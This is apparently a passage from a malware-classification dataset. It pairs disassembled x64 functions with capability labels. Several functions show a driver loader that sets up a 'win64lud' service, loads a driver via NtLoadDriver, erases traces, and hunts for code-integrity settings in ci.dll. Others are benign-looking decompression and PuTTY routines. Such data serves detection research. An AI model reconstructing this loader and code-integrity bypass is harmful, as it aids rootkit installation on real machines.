joyce8/EMBER2024-capa huggingface dataset:
Function at 0x141046108
Capabilities:
Decompress data using aplib

Disassembly:
call 0x14104628f
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x141046139
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14104611f
add dl, dl
jne 0x141046146
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1410461a6
xor eax, eax
add dl, dl
jne 0x141046155
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14104625d
add dl, dl
jne 0x141046166
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141046173
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141046180
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14104618d
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x14104619a
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14104612e
mov eax, 1
add dl, dl
jne 0x1410461b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1410461c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1410461ab
sub eax, ebx
mov ebx, 1
jne 0x1410461fc
mov ecx, 1
add dl, dl
jne 0x1410461de
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1410461eb
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1410461d3
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14104612e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x141046218
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x141046225
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14104620d
cmp eax, 0x7d00
jae 0x14104624b
cmp eax, 0x500
jb 0x141046246
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14104612e
cmp eax, 0x7f
ja 0x14104624e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14104612e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x141046282
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14104612e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x1400013a0
Capabilities:
Get common file path
Persist via windows service
Set registry value

Disassembly:
sub rsp, 0x168
mov rax, qword [0x140013008]
xor rax, rsp
mov qword [rsp + 0x150], rax
lea r8, [rsp + 0x38]
lea rdx, str.SystemCurrentControlSetServiceswin64lud
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x1400013f0
xor eax, eax
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.140002070
add rsp, 0x168
ret
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x30]
lea rdx, str.Type
mov r9d, 4
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], 1
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1400013d6
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x30]
lea rdx, str.ErrorControl
mov r9d, 4
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1400013d6
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x30]
lea rdx, str.Start
mov r9d, 4
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], 3
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1400013d6
lea rcx, [rsp + 0x41]
xor edx, edx
mov r8d, 0x104
mov qword [rsp + 0x160], rdi
call fcn.140003640
mov eax, dword [str.___]
mov dword [rsp + 0x40], eax
movzx eax, byte [0x14000fe54]
lea rdx, [rsp + 0x44]
mov ecx, 0x104
mov byte [rsp + 0x44], al
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x40]
lea rdx, str.ImagePath
mov r9d, 2
repne scasb al, byte [rdi]
mov rax, qword [0x14000fe58]
or rcx, 0xffffffffffffffff
mov qword [rdi - 1], rax
mov eax, dword [0x14000fe60]
xor r8d, r8d
mov dword [rdi + 7], eax
movzx eax, byte [0x14000fe64]
mov byte [rdi + 0xb], al
xor eax, eax
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
lea rax, [rsp + 0x40]
not rcx
dec rcx
mov dword [rsp + 0x28], ecx
mov rcx, qword [rsp + 0x38]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rdi, qword [rsp + 0x160]
xor ecx, ecx
test eax, eax
sete cl
mov eax, ecx
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.140002070
add rsp, 0x168
ret
Function at 0x140001570
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
sub rsp, 0x40
lea rcx, [0x14000fe78]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtLoadDriver
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtUnloadDriver
mov rcx, rbx
mov r12, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.RtlAnsiStringToUnicodeString
mov rcx, rbx
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.RtlInitAnsiString
mov rcx, rbx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.RtlFreeUnicodeString
mov rcx, rbx
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test r12, r12
je 0x14000164f
test rbp, rbp
je 0x14000164f
test rdi, rdi
je 0x14000164f
test rsi, rsi
je 0x14000164f
test rax, rax
je 0x14000164f
lea rdx, str.RegistryMachineSystemCurrentControlSetServiceswin64lud
lea rcx, [rsp + 0x30]
call rsi
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x20]
mov r8b, 1
call rdi
test eax, eax
jne 0x14000164f
lea rcx, [rsp + 0x20]
call r12
lea rcx, [rsp + 0x20]
test eax, eax
jne 0x14000164d
call rbx
mov eax, 1
jmp 0x140001651
call rbx
xor eax, eax
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r12
ret

Function at 0x140001670
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
sub rsp, 0x40
lea rcx, [0x14000fe78]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtLoadDriver
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtUnloadDriver
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.RtlAnsiStringToUnicodeString
mov rcx, rdi
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.RtlInitAnsiString
mov rcx, rdi
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.RtlFreeUnicodeString
mov rcx, rdi
mov r12, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
test rbx, rbx
je 0x14000174f
test rsi, rsi
je 0x14000174f
test rbp, rbp
je 0x14000174f
test r12, r12
je 0x14000174f
test rax, rax
je 0x14000174f
lea rdx, str.RegistryMachineSystemCurrentControlSetServiceswin64lud
lea rcx, [rsp + 0x30]
call r12
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x20]
mov r8b, 1
call rbp
test eax, eax
jne 0x14000174f
lea rcx, [rsp + 0x20]
call rsi
lea rcx, [rsp + 0x20]
test eax, eax
jne 0x14000174d
call rdi
mov eax, 1
jmp 0x140001751
call rdi
xor eax, eax
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r12
ret
Function at 0x140001770
Capabilities:
Delete file
Delete registry key
Get common file path

Disassembly:
push rdi
sub rsp, 0x140
mov rax, qword [0x140013008]
xor rax, rsp
mov qword [rsp + 0x130], rax
lea rcx, [rsp + 0x21]
xor edx, edx
mov r8d, 0x104
mov byte [rsp + 0x20], 0
call fcn.140003640
lea rdx, [rsp + 0x20]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x20]
repne scasb al, byte [rdi]
mov rax, qword [0x14000fe58]
lea rcx, [rsp + 0x20]
mov qword [rdi - 1], rax
mov eax, dword [0x14000fe60]
mov dword [rdi + 7], eax
movzx eax, byte [0x14000fe64]
mov byte [rdi + 0xb], al
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
lea rdx, str.SystemCurrentControlSetServiceswin64ludEnum
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
lea rdx, str.SystemCurrentControlSetServiceswin64lud
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.140002070
add rsp, 0x140
pop rdi
ret
Function at 0x1400018d0
Capabilities:
Check for software breakpoints
Disable driver code integrity

Disassembly:
push rbx
sub rsp, 0x260
mov rax, qword [0x140013008]
xor rax, rsp
mov qword [rsp + 0x250], rax
movups xmm0, xmmword [str.c:windows_system32ci.dll]
mov eax, dword [0x14000ffd8]
movups xmm1, xmmword [0x14000ffb8]
mov dword [rsp + 0x70], eax
movzx eax, word [0x14000ffdc]
lea rcx, [rsp + 0x76]
movaps xmmword [rsp + 0x40], xmm0
movaps xmmword [rsp + 0x50], xmm1
xor edx, edx
mov r8d, 0x1d2
mov word [rsp + 0x74], ax
movups xmm0, xmmword [0x14000ffc8]
movaps xmmword [rsp + 0x60], xmm0
call fcn.140003640
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov rbx, rax
test rax, rax
je 0x140001992
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x20]
mov r9d, 0x18
mov rcx, rax
mov rdx, rbx
call qword [sym.imp.PSAPI.DLL_GetModuleInformation]
mov rcx, rbx
test eax, eax
je 0x14000198c
lea rdx, str.CiInitialize
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r11, rax
test rax, rax
jne 0x140001999
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor eax, eax
jmp 0x140001a7b
xor r8d, r8d
mov ecx, r8d
mov eax, r8d
cmp byte [rax + r11], 0xe9
jne 0x1400019b8
cmp byte [r11 + rax + 5], 0xcc
je 0x1400019c5
cmp byte [r11 + 5], 0x90
je 0x1400019c5
inc ecx
inc rax
cmp ecx, 0x100
jb 0x1400019a2
cmp ecx, 0x100
je 0x140001989
mov eax, dword [rcx + r11 + 1]
add eax, 5
movsxd rdx, eax
add rdx, rcx
add rdx, r11
cmp rdx, rbx
jbe 0x140001989
mov r9d, dword [rsp + 0x28]
add r9, rbx
lea rax, [r9 - 0x120]
cmp rdx, rax
jae 0x140001989
mov rax, r8
mov ecx, 0xd89
mov r10d, 0x15ff
cmp word [rax + rdx], cx
jne 0x140001a1a
cmp byte [rax + rdx + 2], 0x28
jne 0x140001a1a
cmp word [rax + rdx + 6], r10w
je 0x140001a29
inc r8d
inc rax
cmp r8d, 0x100
jb 0x140001a05
cmp r8d, 0x100
je 0x140001989
mov eax, r8d
mov qword [rsp + 0x270], rdi
movsxd rcx, dword [rax + rdx + 2]
add rcx, rax
lea rdi, [rcx + rdx + 6]
cmp rdi, rbx
jbe 0x140001a68
cmp rdi, r9
jae 0x140001a68
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
sub rdi, rbx
mov eax, edi
jmp 0x140001a73
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor eax, eax
mov rdi, qword [rsp + 0x270]
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.140002070
add rsp, 0x260
pop rbx
ret
Function at 0x140001aa0
Capabilities:
Check for software breakpoints
Disable driver code integrity

Disassembly:
push rbx
sub rsp, 0x260
mov rax, qword [0x140013008]
xor rax, rsp
mov qword [rsp + 0x250], rax
movups xmm0, xmmword [str.c:windows_system32ci.dll]
mov eax, dword [0x14000ffd8]
movups xmm1, xmmword [0x14000ffb8]
mov dword [rsp + 0x70], eax
movzx eax, word [0x14000ffdc]
lea rcx, [rsp + 0x76]
movaps xmmword [rsp + 0x40], xmm0
movaps xmmword [rsp + 0x50], xmm1
xor edx, edx
mov r8d, 0x1d2
mov word [rsp + 0x74], ax
movups xmm0, xmmword [0x14000ffc8]
movaps xmmword [rsp + 0x60], xmm0
call fcn.140003640
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov rbx, rax
test rax, rax
je 0x140001b62
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x20]
mov r9d, 0x18
mov rcx, rax
mov rdx, rbx
call qword [sym.imp.PSAPI.DLL_GetModuleInformation]
mov rcx, rbx
test eax, eax
je 0x140001b5c
lea rdx, str.CiInitialize
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r11, rax
test rax, rax
jne 0x140001b69
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor eax, eax
jmp 0x140001c4b
xor r8d, r8d
mov ecx, r8d
mov eax, r8d
cmp byte [rax + r11], 0xe9
jne 0x140001b88
cmp byte [r11 + rax + 5], 0xcc
je 0x140001b95
cmp byte [r11 + 5], 0x90
je 0x140001b95
inc ecx
inc rax
cmp ecx, 0x100
jb 0x140001b72
cmp ecx, 0x100
je 0x140001b59
mov eax, dword [rcx + r11 + 1]
add eax, 5
movsxd rdx, eax
add rdx, rcx
add rdx, r11
cmp rdx, rbx
jbe 0x140001b59
mov r9d, dword [rsp + 0x28]
add r9, rbx
lea rax, [r9 - 0x120]
cmp rdx, rax
jae 0x140001b59
mov rax, r8
mov ecx, 0x8948
mov r10d, 0xd89
cmp word [rax + rdx], cx
jne 0x140001bea
cmp byte [rax + rdx + 2], 5
jne 0x140001bea
cmp word [rax + rdx + 7], r10w
je 0x140001bf9
inc r8d
inc rax
cmp r8d, 0x100
jb 0x140001bd5
cmp r8d, 0x100
je 0x140001b59
mov eax, r8d
mov qword [rsp + 0x270], rdi
movsxd rcx, dword [rax + rdx + 9]
add rcx, rax
lea rdi, [rcx + rdx + 0xd]
cmp rdi, rbx
jbe 0x140001c38
cmp rdi, r9
jae 0x140001c38
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
sub rdi, rbx
mov eax, edi
jmp 0x140001c43
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor eax, eax
mov rdi, qword [rsp + 0x270]
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.140002070
add rsp, 0x260
pop rbx
ret
Function at 0x140001ea0
Capabilities:
Get common file path
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x170
mov rax, qword [0x140013008]
xor rax, rsp
mov qword [rsp + 0x160], rax
lea rcx, [rsp + 0x51]
xor edx, edx
mov r8d, 0x104
mov byte [rsp + 0x50], 0
call fcn.140003640
lea rdx, [rsp + 0x50]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x50]
lea rdx, str..PhysicalDrive
mov word [0x1400143a0], 0x5a4d
repne scasb al, byte [rdi]
mov rax, qword [0x14000fe58]
lea rcx, [rsp + 0x50]
mov qword [rdi - 1], rax
mov eax, dword [0x14000fe60]
mov dword [rdi + 7], eax
movzx eax, byte [0x14000fe64]
mov byte [rdi + 0xb], al
xor edi, edi
lea r8d, [rdi + 0x11]
mov dword [rsp + 0x40], edi
call fcn.140009b84
xor r9d, r9d
mov qword [rsp + 0x30], rdi
mov edx, 0xc0000000
lea rcx, [rsp + 0x50]
test eax, eax
jne 0x140001f5d
mov dword [rsp + 0x28], edi
lea r8d, [rdi + 3]
mov dword [rsp + 0x20], 3
jmp 0x140001f70
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
test rax, rax
je 0x140001fba
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
lea r9, [rsp + 0x40]
lea rdx, [0x1400143a0]
mov r8d, 0x2bf0
mov rcx, rbx
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
mov edi, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.140002070
mov rbx, qword [rsp + 0x180]
add rsp, 0x170
pop rdi
ret

Function at 0x140002090
Capabilities:
Delete file

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x1400020a6
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x1400020a8
xor eax, eax
test eax, eax
je 0x1400020b8
mov ecx, eax
call fcn.1400028fc
or eax, 0xffffffff
jmp 0x1400020ba
xor eax, eax
add rsp, 0x28
ret
Function at 0x1400027cf
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x140013008]
jne 0x14000208a
rol rcx, 0x10
test cx, 0xffff
jne 0x140002086
repz ret
ror rcx, 0x10
jmp 0x140002728
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x1400170c0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x1400171b8]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x1400027ad
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x1400170c0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x1400027cf
mov rax, qword [rsp + 0x88]
mov qword [0x1400171b8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x140017158], rax
mov rax, qword [0x1400171b8]
mov qword [0x140017030], rax
mov rax, qword [rsp + 0x90]
mov qword [0x140017140], rax
mov dword [0x140017020], 0xc0000409
mov dword [0x140017024], 1
mov rax, qword [0x140013008]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140013010]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x1400170b8], eax
mov ecx, 1
call fcn.140005bdc
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x14000e3b0]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x1400170b8], 0
jne 0x140002856
mov ecx, 1
call fcn.140005bdc
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret

Function at 0x140004a18
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.140004888
Function at 0x140008958
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x140013008]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.140005748
xor ebx, ebx
cmp qword [0x140017ff0], rbx
mov rdi, rax
jne 0x140008a6b
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x140008b42
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140008b42
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x140017ff0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x140017ff8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x140018000], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x140018010], rax
test rax, rax
je 0x140008a62
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x140018008], rax
jmp 0x140008a72
mov rax, qword [0x140018008]
jmp 0x140008a79
mov rax, qword [0x140018008]
mov r11, qword [0x140018010]
cmp rax, rdi
je 0x140008ae0
cmp r11, rdi
je 0x140008ae0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x140018010]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x140008ae0
test rax, rax
je 0x140008ae0
call rsi
test rax, rax
je 0x140008ada
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x140008ada
test byte [rsp + 0x40], 1
jne 0x140008ae0
bts ebp, 0x15
jmp 0x140008b20
mov rcx, qword [0x140017ff8]
cmp rcx, rdi
je 0x140008b20
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140008b20
call rax
mov rbx, rax
test rax, rax
je 0x140008b20
mov rcx, qword [0x140018000]
cmp rcx, rdi
je 0x140008b20
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140008b20
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x140017ff0]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140008b42
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x140008b44
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140002070
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140074660
Capabilities:
Read file on windows

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rdi, rcx
mov rcx, qword [rdx]
lea rdx, [0x14010e835]
call fcn.1400ce168
test rax, rax
je 0x1400746dd
mov rsi, rax
mov qword [rdi + 8], 0
mov r8, qword [rdi + 0x10]
test r8, r8
je 0x1400746f6
xor ecx, ecx
nop word cs:[rax + rax]
nop
sub r8, rcx
add rcx, qword [rdi]
mov edx, 1
mov r9, rsi
call fcn.1400ce2f0
mov rbx, rax
mov rcx, rsi
call fcn.1400cdb20
test eax, eax
jne 0x1400746e4
mov rcx, qword [rdi + 8]
test rbx, rbx
je 0x1400746eb
add rcx, rbx
mov qword [rdi + 8], rcx
mov r8, qword [rdi + 0x10]
cmp r8, rcx
ja 0x1400746a0
jmp 0x1400746ef
mov ebx, 2
jmp 0x140074734
mov ebx, 2
jmp 0x14007472c
mov r8, qword [rdi + 0x10]
xor ebx, ebx
cmp rcx, r8
jne 0x14007470a
mov rcx, rsi
call fcn.1400cdf38
xor ebx, ebx
cmp eax, 0xffffffff
setne bl
mov rcx, qword [rdi + 8]
mov rax, qword [rdi]
lea rdx, [rdi + 0x18]
mov qword [rdi + 0x18], rax
mov qword [rdi + 0x28], rcx
mov qword [rdi + 0x20], 0
mov dword [rdi + 0x30], 0
mov qword [rdi + 0x38], rdx
mov rcx, rsi
call fcn.1400cd968
mov eax, ebx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret

Function at 0x14007c9e0
Capabilities:
Encode data using xor

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x30
mov ebx, r8d
mov rsi, rdx
mov rdi, rcx
mov rax, qword [rcx]
cmp rax, qword [rdx]
je 0x14007ca11
lea rcx, str.x0__nw__x1__nw
lea rdx, str._home_simon_mem_.build_workdirs_bob_0_vdcidh_putty_crypto_mpint.c
mov r8d, 0xa6
call fcn.1400cb8ac
and ebx, 1
neg rbx
mov qword [rsp + 0x28], rbx
cmp qword [rdi], 0
je 0x14007ca61
xor eax, eax
nop word cs:[rax + rax]
nop
mov rcx, qword [rdi + 8]
mov rdx, qword [rsi + 8]
mov rdx, qword [rdx + rax*8]
xor rdx, qword [rcx + rax*8]
mov rcx, qword [rsp + 0x28]
and rcx, rdx
mov rdx, qword [rdi + 8]
xor qword [rdx + rax*8], rcx
mov rdx, qword [rsi + 8]
xor qword [rdx + rax*8], rcx
add rax, 1
cmp rax, qword [rdi]
jb 0x14007ca30
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
Function at 0x1400ba880
Capabilities:
Encode data using xor

Disassembly:
mov r8, qword [rdx]
bswap r8
xor r8, qword [rcx + 0x70]
mov qword [rcx + 0x70], r8
mov r9, qword [rdx + 8]
bswap r9
xor r9, qword [rcx + 0x78]
pxor xmm0, xmm0
xor r10d, r10d
mov edx, r9d
and edx, 1
mov rax, r9
shr rax, 1
mov qword [rcx + 0x78], rax
neg rdx
movdqu xmm1, xmmword [rcx + r10 + 0x90]
movq xmm2, rdx
pshufd xmm2, xmm2, 0x44
pand xmm2, xmm1
pxor xmm2, xmm0
and eax, 1
shr r9, 2
mov qword [rcx + 0x78], r9
neg rax
movdqu xmm1, xmmword [rcx + r10 + 0xa0]
movq xmm0, rax
pshufd xmm0, xmm0, 0x44
pand xmm0, xmm1
pxor xmm0, xmm2
add r10, 0x20
cmp r10, 0x400
jne 0x1400ba8a0
xor r9d, r9d
nop dword [rax]
mov eax, r8d
and eax, 1
mov rdx, r8
shr rdx, 1
mov qword [rcx + 0x70], rdx
neg rax
movdqu xmm1, xmmword [rcx + r9 + 0x490]
movq xmm2, rax
pshufd xmm2, xmm2, 0x44
pand xmm2, xmm1
pxor xmm2, xmm0
and edx, 1
shr r8, 2
mov qword [rcx + 0x70], r8
neg rdx
movdqu xmm1, xmmword [rcx + r9 + 0x4a0]
movq xmm0, rdx
pshufd xmm0, xmm0, 0x44
pand xmm0, xmm1
pxor xmm0, xmm2
add r9, 0x20
cmp r9, 0x400
jne 0x1400ba910
movdqu xmmword [rcx + 0x70], xmm0
ret

Function at 0x1400bb2bc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [0x140125b10]
test rax, rax
je 0x1400bb306
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400bb306
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400bb306
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400bb306
cmp dword [rcx + 0x84], 0xe
jbe 0x1400bb306
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400bb308
xor al, al
add rsp, 0x28
ret

Function at 0x1400c8284
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x1400c83d8
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
